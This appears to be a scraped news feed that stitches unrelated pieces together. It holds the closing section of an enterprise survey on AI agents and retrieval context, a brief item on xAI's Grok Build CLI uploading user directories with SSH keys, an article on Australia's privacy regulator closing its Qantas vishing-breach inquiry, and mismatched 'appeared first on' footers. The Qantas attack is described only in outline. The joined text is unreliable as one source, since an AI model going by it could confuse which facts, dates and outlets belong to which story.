The bottom line: A context gap that more retrieval alone won’t close

Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

xAI's command-line tool "Grok Build" silently uploaded entire directories to Google Cloud servers, including SSH keys and password databases. After the backlash, Elon Musk promised to delete all uploaded user data, and xAI open-sourced the full 844,530-line Rust codebase under the Apache 2.0 license.

The article xAI open-sources "Grok-Build" on GitHub after massive data breach appeared first on The Decoder.

A vishing call to an overseas contact center agent. A fake IT ticket. A default setting nobody thought to lock down. That's all it took to expose the personal data of roughly 5 million Australians — and now the country's privacy regulator has decided Qantas isn't to blame for it.

The Office of the Australian Information Commissioner (OAIC) closed the book this week on its year-long preliminary inquiry into the June 2025 Qantas data breach, and the conclusion cuts against the instinct to punish the victim of a cyberattack.

Also read: Australia’s Qantas Confirms Cyberattack: 6 Million Service Records Compromised

According to the OAIC's report, the evidence gathered did not indicate a likelihood that Qantas had "failed" to take reasonable steps to protect the personal information it held, nor that it failed to ensure its overseas third-party provider complied with Australia's privacy principles. No investigation. No enforcement action.

"After more than a year of making inquiries and obtaining information on the data breach, we're satisfied that the evidence does not support the likelihood that a breach of privacy law occurred. As a result, we've decided not to commence a full investigation of Qantas at this stage." - Carly Kind, Australian Privacy Commissioner.

How It Happened

The breach traces back to a single phone call. A threat actor posing as "Qantas IT help" convinced a contact center agent to visit a website tied to the customer relationship management platform used by Qantas agents, walking them through steps framed as necessary to close an IT support ticket. That interaction connected the agent's CRM session to a data extraction tool controlled by the attacker, who then pulled data from every contact profile the agent could access. It was pure social engineering — no malware, no exploited vulnerability, just a convincing lie.

Qantas caught it fast. A staff member spotted an unusual spike in login-attempt alerts on the morning of June 30, two days after the call, and escalated it to the cybersecurity team. Within hours, the company had frozen the compromised account, assessed for data exfiltration, and triggered its incident response process. Public disclosure followed on July 2.

What Was Exposed — And What Wasn't

The regulator's numbers are more precise than what circulated publicly last year. Roughly 5.67 million customer records were compromised, with about 4 million exposing names, phone numbers, email addresses and Frequent Flyer details, and a further 1.7 million records including combinations of home or business addresses, dates of birth, gender and meal preferences. Critically, no credit card numbers, financial information or passport details lived on the compromised platform, and customer passwords and login credentials were never touched.

Also read: Qantas Airways Cyberattack Update: Customer Data Released, Security Measures Enhanced

Why The Regulator Let It Go

The OAIC's reasoning is a rare, explicit acknowledgment that good controls don't guarantee immunity. Investigators found that social engineering training generally targets credential theft, not the rarer tactic of talking an employee into authorizing a legitimate-looking system connection — meaning the attack likely would have succeeded even with standard training in place. They also noted the flaw was structural: a default configuration let the agent authorize a third-party app connection, a setting the CRM vendor has since changed for all its customers.

Commissioner Carly Kind put the broader stakes plainly in the OAIC's statement announcing the report, warning that AI-driven threats are only raising the bar. As she framed it, agentic and advanced AI will keep escalating the cybersecurity risks businesses face, making continuous review of security posture non-negotiable — not optional.

The takeaway here isn't that Qantas got a pass. It's that a regulator has now drawn, in writing, the line between negligence and the limits of what training and access controls can realistically stop.

The post SpaceXAI Open-Sources Grok Build: The Rust Agent Harness, TUI, and Tool Layer Behind Its Coding CLI appeared first on MarkTechPost.